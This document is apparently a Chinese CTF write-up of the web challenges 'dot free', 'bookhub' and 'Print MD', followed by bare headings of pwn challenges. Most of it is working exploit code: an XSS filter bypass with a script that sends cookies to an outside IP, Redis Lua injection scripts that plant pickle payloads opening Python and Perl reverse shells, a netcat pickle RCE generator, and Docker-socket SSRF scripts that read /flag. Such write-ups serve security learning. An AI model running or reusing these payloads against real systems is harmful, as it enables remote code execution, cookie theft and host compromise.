Web
dot free
ip2long
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24ip_addr='192.168.2.10'
# transfer ip to int
def ip2long(ip):
ip_list=ip.split('.')
result=0
for i in range(4): #0,1,2,3
result=result+int(ip_list[i])*256**(3-i)
return result
long=3232236042
# transfer int to ip
def long2ip(long):
floor_list=[]
yushu=long
for i in reversed(range(4)): #3,2,1,0
res=divmod(yushu,256**i)
floor_list.append(str(res[0]))
yushu=res[1]
return '.'.join(floor_list)
a=long2ip(long)
print(a)关键代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14window.addEventListener('message', function (e) {
if (e.data.iframe) {
if (e.data.iframe && e.data.iframe.value.indexOf('.') == -1 && e.data.iframe.value.indexOf("//") == -1 && e.data.iframe.value.indexOf("。") == -1 && e.data.iframe.value && typeof(e.data.iframe != 'object')) {
if (e.data.iframe.type == "iframe") {
lce(doc, ['iframe', 'width', '0', 'height', '0', 'src', e.data.iframe.value], parent);
} else {
lls(e.data.iframe.value)
}
}
}
}, false);
window.onload = function (ev) {
postMessage(JSON.parse(decodeURIComponent(location.search.substr(1))), '*')
}输入点
1
decodeURIComponent(location.search.substr(1))
bypass
1
2
3
4
5
6
7e.data.iframe.value.indexOf("//") == -1
=>
http:/\
"." 和 "。"均不能使用
=>
使用ip2long bypasspayload
1
2
3http://13.57.104.34/?{%22iframe%22:{%22value%22:%22http:\u002f\u005c2077186703:1234%22}}
或者不要`http:` =>
http://13.57.104.34/?{%22iframe%22:{%22value%22:%20%22\u002f\u005c2077186703:1234/a%22}}getflag
index.html
1
document.location="http://123.207.90.143?flag="+document.cookie;
flag
1
rwctf%7BL00kI5TheFlo9%7D
bookhub
测试登录
1
your ip address isn't in the 10.0.0.0/8,127.0.0.0/8,172.16.0.0/12,192.168.0.0/16,18.213.16.123.
进入代码查看
1
2
3
4
5
6
7
8
9def get_remote_addr():
address = flask.request.headers.get('X-Forwarded-For', flask.request.remote_addr)
try:
ipaddress.ip_address(address)
except ValueError:
return None
else:
return address测试修改X-Forwarded-For,失败,原因: XFF做了反代理,伪造的 XFF被覆盖
打开 18.213.16.123:5000
发现该服务运行于debug模式下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40@login_required
@user_blueprint.route('/admin/system/refresh_session/', methods=['POST'])
def refresh_session():
"""
delete all session except the logined user
:return: json
"""
status = 'success'
sessionid = flask.session.sid
prefix = app.config['SESSION_KEY_PREFIX']
if flask.request.form.get('submit', None) == '1':
try:
rds.eval(rf'''
local function has_value (tab, val)
for index, value in ipairs(tab) do
if value == val then
return true
end
end
return false
end
local inputs = {{ "{prefix}{sessionid}" }}
local sessions = redis.call("keys", "{prefix}*")
for index, sid in ipairs(sessions) do
if not has_value(inputs, sid) then
redis.call("del", sid)
end
end
''', 0)
except redis.exceptions.ResponseError as e:
app.logger.exception(e)
status = 'fail'
return flask.jsonify(dict(status=status))上边这一段代码由于
@login_required
写在route上边,所以存在未授权访问。添加csrf_token
漏洞
1
2local inputs = {{ "{prefix}{sessionid}" }}
local sessions = redis.call("keys", "{prefix}*")这里使用字符串拼接,存在问题,可以通过闭合双引号,使得redis执行恶意代码。
跟踪
{prefix}
1
2
3prefix = app.config['SESSION_KEY_PREFIX']
app.config['SESSION_KEY_PREFIX'] = 'bookhub:session:'构造payload
1
af5e1a4c-23b2-4f87-abf6-96a60d61d8b3",redis evilcode,"bookhub:session:tianji
结果:
1
{ "bookhub:session:af5e1a4c-23b2-4f87-abf6-96a60d61d8b3",redis evilcode,"bookhub:session:tianji" }
参考文件
1
2https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html
https://www.leavesongs.com/PENETRATION/getshell-via-ssrf-and-redis.htmlevil code
redis.call(“set”,”bookhub:session:tianji”,反弹shell)
payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57import cPickle
import os
import requests
import re
import urllib
DEBUG = 0
URL = "http://18.213.16.123:5000/" if not DEBUG else "http://127.0.0.1:5000/"
class exp(object):
def __reduce__(self):
listen_ip = "123.207.90.143"
listen_port = 1234
s = """curl 123.207.90.143:1234"""
return (os.system,(s,))
e = exp()
s = cPickle.dumps(e)
s_bypass = ""
for i in s:
s_bypass +="string.char(%s).."%ord(i)
evilcode = '''redis.call("set","bookhub:session:tianji",%s)'''%s_bypass[:-2]
payload = '''2047a141-2493-4f81-b315-8b8d95d3db33",%s,"bookhub:session:tianji'''%evilcode
payload = payload.replace(" ","")
if __name__ == '__main__':
headers = {
"Cookie": 'bookhub-session=%s' % payload,
"Content-Type": "application/x-www-form-urlencoded",
'X-CSRFToken': '',
}
print headers["Cookie"]
res = requests.get(URL + 'login/', headers=headers)
if res.status_code == 200:
html = res.content
r = re.findall(r'csrf_token" type="hidden" value="(.*?)">', html)
if r:
headers['X-CSRFToken'] = r[0]
# refresh_session
data = {'submit': '1'}
res = requests.post(URL + 'admin/system/refresh_session/',
data=data, headers=headers)
if res.status_code == 200:
print(res.content)
else:
print(res.content)
# fuck
headers['Cookie'] = 'bookhub-session=tianji'
res = requests.get(URL + 'login/', headers=headers)
if res.status_code == 200:
print(res.content)
else:
print(res.content)收到响应。
修改payload,获取flag
payload1:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68import requests
import re
import json
import random
import string
import cPickle
import os
import urllib
req = requests.Session()
DEBUG = 0
URL = "http://18.213.16.123:5000/" if not DEBUG else "http://127.0.0.1:5000/"
def rs(n=6):
return ''.join(random.sample(string.ascii_letters + string.digits, n))
class exp(object):
def __reduce__(self):
listen_ip = "123.207.90.143"
listen_port = 1234
s = 'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'' % (
listen_ip, listen_port)
return (os.system, (s,))
x = [{'_fresh': False, '_permanent': True,
'csrf_token': '2f898d232024ac0e0fc5f5e6fdd3a9a7dad462e8', 'exp': exp()}]
s = cPickle.dumps(x)
if __name__ == '__main__':
payload = urllib.quote(s)
yoursid = 'vvv'
funcode = r"local function urlDecode(s) s = string.gsub(s, '%%(%x%x)', function(h) return string.char(tonumber(h, 16)) end) return s end"
# 插入payload并防止del
sid = '%s\\" } %s ' % (rs(6), funcode) + \
'redis.call(\\"set\\",\\"bookhub:session:%s\\",\\urlDecode("%s\\")) inputs = { \"bookhub:session:%s\" } --' % (
yoursid, payload, yoursid)
headers = {
"Cookie": 'bookhub-session="x%s"' % sid,
"Content-Type": "application/x-www-form-urlencoded",
'X-CSRFToken': '',
}
res = req.get(URL + 'login/', headers=headers)
if res.status_code == 200:
html = res.content
r = re.findall(r'csrf_token" type="hidden" value="(.*?)">', html)
if r:
headers['X-CSRFToken'] = r[0]
# refresh_session
data = {'submit': '1'}
res = req.post(URL + 'admin/system/refresh_session/',
data=data, headers=headers)
if res.status_code == 200:
print(res.content)
else:
print(res.content)
# fuck
headers['Cookie'] = 'bookhub-session=vvv'
res = req.get(URL + 'admin/', headers=headers)
if res.status_code == 200:
print(res.content)
else:
print(res.content)payload2:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45__AUTHOR__ = 'Virink'
import os
import sys
import requests as req
import re
from urllib import quote as urlencode
try:
import cPickle as pickle
except ImportError:
import pickle
URL = "http://18.213.16.123:5000/"
listen_ip = '123.207.90.143'
listen_port = 1234
class exp(object):
def __reduce__(self):
s = "perl -e 'use Socket;$i=\"%s\";$p=%d;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" % (listen_ip, listen_port)
return (os.system, (s,))
if __name__ == '__main__':
payload = urlencode(pickle.dumps([exp()]))
# 插入payload并防止del
sid = '\\" } local function urlDecode(s) s=string.gsub(s,\'%%(%x%x)\',function(h) return string.char(tonumber(h, 16)) end) return s end ' + \
'redis.call(\\"set\\",\\"bookhub:session:qaq\\",urlDecode(\\"%s\\")) inputs = { \"bookhub:session:qaq\" } --' % (
payload)
headers = {"Content-Type": "application/x-www-form-urlencoded"}
# 注入payload
headers["Cookie"] = 'bookhub-session="%s"' % sid
res = req.get(URL + 'login/', headers=headers)
if res.status_code == 200:
r = re.findall(r'csrf_token" type="hidden" value="(.*?)">',
res.content.decode('utf-8'))
if r:
# refresh_session
headers['X-CSRFToken'] = r[0]
data = {'submit': '1'}
res = req.post(URL + 'admin/system/refresh_session/',
data=data, headers=headers)
if res.status_code == 200:
# 触发RCE
req.get(URL + 'login/',
headers={'Cookie': 'bookhub-session=qaq'})pickle payload生成
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20#!/usr/bin/python
#
# Pickle deserialization RCE payload.
# To be invoked with command to execute at it's first parameter.
# Otherwise, the default one will be used.
#
import cPickle
import os
import sys
import base64
DEFAULT_COMMAND = "netcat -c '/bin/bash -i' -l -p 4444"
COMMAND = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_COMMAND
class PickleRce(object):
def __reduce__(self):
return (os.system,(COMMAND,))
print base64.b64encode(cPickle.dumps(PickleRce()))
Print MD
subject description
1
2
3
4
5Make HackMD printable ._. http://54.183.55.10/
Hint: If you are not skilled at black-box testing, you need to figure out how PrintMD is compatible with outdated browsers. Flag is in the filesystem /flag
Hint: Here is a render.js for you.render.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24const {Router} = require('express')
const {matchesUA} = require('browserslist-useragent')
const router = Router()
const axios = require('axios')
const md = require('../../plugins/md_srv')
router.post('/render', function (req, res, next) {
let ret = {}
ret.ssr = !matchesUA(req.body.ua, {
browsers: ["last 1 version", "> 1%", "IE 10"],
_allowHigherVersions: true
});
if (ret.ssr) {
axios(req.body.url).then(r => {
ret.mdbody = md.render(r.data)
res.json(ret)
})
}
else {
ret.mdbody = md.render('# 请稍候…')
res.json(ret)
}
});
module.exports = router漏洞
print.ba84889093b992d33112.js中可以找到将markdown文档发送到服务端解析的代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22validate: function(e) {
return e.query.url && e.query.url.startsWith("https://hackmd.io/")
},
asyncData: function(ctx) {
if(!ctx.query.url.endsWith("/download")){
ctx.query.url += "/download";
}
ctx.query.ua = ctx.req.headers["user-agent"] || "";
return axios.post("/api/render", qs.stringify({...ctx.query})).then(function(e) {
return {
...e.data,
url: ctx.query.url
}
})
},
mounted: function() {
if (!this.ssr){
axios(this.url).then(function(t) {
this.mdbody = md.render(t.data)
})
}
}这里直接使用
qs.stringify({...ctx.query}
,因而在render.js中1
2
3
4axios(req.body.url).then(r => {
ret.mdbody = md.render(r.data)
res.json(ret)
}req.body.url
可控漏洞利用
axios这个东西是不支持file://协议的,但是通过文档可知,他支持UNIX Socket 。
测试
ping
。GET http://54.183.55.10/print?url[url]=/_ping&url[socketPath]=/var/run/docker.sock&url=https://hackmd.io/ HTTP/1.1
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44import requests as req
import random
import string
from bs4 import BeautifulSoup
from urllib import quote as urlencode
URL = "http://54.183.55.10/print?{url}&url=https%3A%2F%2Fhackmd.io%2Fvbz2j6hkR9CIgABjEbRrzQ"
headers = {
"User-Agent": "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
}
def get(u):
res = req.get(u, timeout=10, headers=headers)
if res.status_code == 200:
soup = BeautifulSoup(res.content, "lxml")
body = soup.select(".markdown-body")
if body:
print(body[0].text)
return True
print("[-] error")
def fuck(_u):
_u += '&url[socketPath]=/var/run/docker.sock'
pl = URL.format(url=_u)
try:
get(pl)
except:
pass
if __name__ == '__main__':
container_name = ''.join(random.sample(
string.ascii_letters + string.digits, 6))
_us = [
'url[url]=/_ping&',
'url[method]=post&url[url]=http://127.0.0.1/assets/create?fromImage=alpine:latest',
'url[method]=post&url[url]=http://127.0.0.1/containers/create?name=%s&url[data][Image]=alpine:latest&url[data][Volumes][flag][path]=/getflag&url[data][Binds][]=/flag:/getflag:ro&url[data][Entrypoint][]=/bin/ls' % container_name,
'url[method]=post&url[url]=http://127.0.0.1/containers/%s/start' % container_name,
'url[method]=get&url[url]=http://127.0.0.1/containers/%s/archive?path=/getflag' % container_name
]
for i in _us:
fuck(i)exploit1.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# SakiiR @ Hexpresso
# cc XeR & BitK
# Let's go now (:
#
# --+ Python 2 +--
import random
import pwn
import requests
import urllib
urlencode = urllib.quote_plus
OUTFILE = "flag.txt"
MAX_ROWS = 100
def random_container_name(n=10, charset=("abcdefghijklmnopqrstUVWXYZ"
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"0123456789")):
return ''.join([
charset[random.randint(0, len(charset) - 1)] for _ in range(n)
])
def main():
container_name = random_container_name()
pwn.log.info("Your container name is '{}'".format(container_name))
# Pull alpine image :)
# --------------------
endpoint = urlencode("http://127.0.0.1/assets/create?fromImage=alpine:latest")
url = ('http://54.183.55.10/print'
'?url[method]=POST'
'&url[url]={}'
'&url[socketPath]=/var/run/docker.sock'
'&url=https://hackmd.io/rHsmjW2HRGGMwf7mbnecXw/download').format(endpoint)
pwn.log.info("Pulling alpine: '{}[...]'".format(url[:MAX_ROWS]))
r = requests.get(url)
pwn.log.info("Response: {}".format(r.status_code))
# Creating container (image)
# --------------------------
endpoint = urlencode('http://127.0.0.1/containers/create?name={}'.format(container_name))
url = ('http://54.183.55.10/print'
'?url[method]=POST'
'&url[url]={}'
'&url[data][Volumes][flag][path]=/sakiir'
'&url[data][Binds][]=/flag:/sakiir:ro'
'&url[data][Entrypoint][]=/bin/sh'
'&url[data][Image]=alpine:latest'
'&url[socketPath]=/var/run/docker.sock'
'&url=https://hackmd.io/rHsmjW2HRGGMwf7mbnecXw/download').format(endpoint)
pwn.log.info("Creating container: '{}[...]'".format(url[:MAX_ROWS]))
pwn.log.info("This will take some time then crash with a 503")
pwn.log.info("The container will still be created (:")
r = requests.get(url)
pwn.log.info("Response: {}".format(r.status_code))
# Starting container_name
# -----------------------
endpoint = urlencode('http://127.0.0.1/containers/{}/start'.format(container_name))
url = ('http://54.183.55.10/print'
'?url[method]=POST'
'&url[url]={}'
'&url[socketPath]=/var/run/docker.sock'
'&url=https://hackmd.io/rHsmjW2HRGGMwf7mbnecXw/download').format(endpoint)
pwn.log.info("Starting container: '{}[...]'".format(url[:MAX_ROWS]))
r = requests.get(url)
pwn.log.info("Response: {}".format(r.status_code))
# Archive container (Archive the /sakiir directory and get it back :))
# --------------------------------------------------------------------
endpoint = urlencode("http://127.0.0.1/containers/{}/archive?path=/sakiir".format(container_name))
url = ('http://54.183.55.10/print'
'?url[method]=GET'
'&url[url]={}'
'&url[socketPath]=/var/run/docker.sock'
'&url=https://hackmd.io/rHsmjW2HRGGMwf7mbnecXw/download').format(endpoint)
pwn.log.info("Archiving container: '{}[...]'".format(url[:MAX_ROWS]))
r = requests.get(url)
pwn.log.info("Response: {}".format(r.status_code))
with open(OUTFILE, 'w') as f:
f.write(r.content)
pwn.log.info("Flag written to file '{}'".format(OUTFILE))
if __name__ == '__main__':
main()
pwn
state-of-the-art vm
description:
1 | pwn |
Spectre-Free
1 | pwn |
kid vm
1 | pwn Writing a vm is the best way to teach kids to learn vm escape. |
p90 RUSH B
1 | pwn |
untrustworthy
1 | pwn |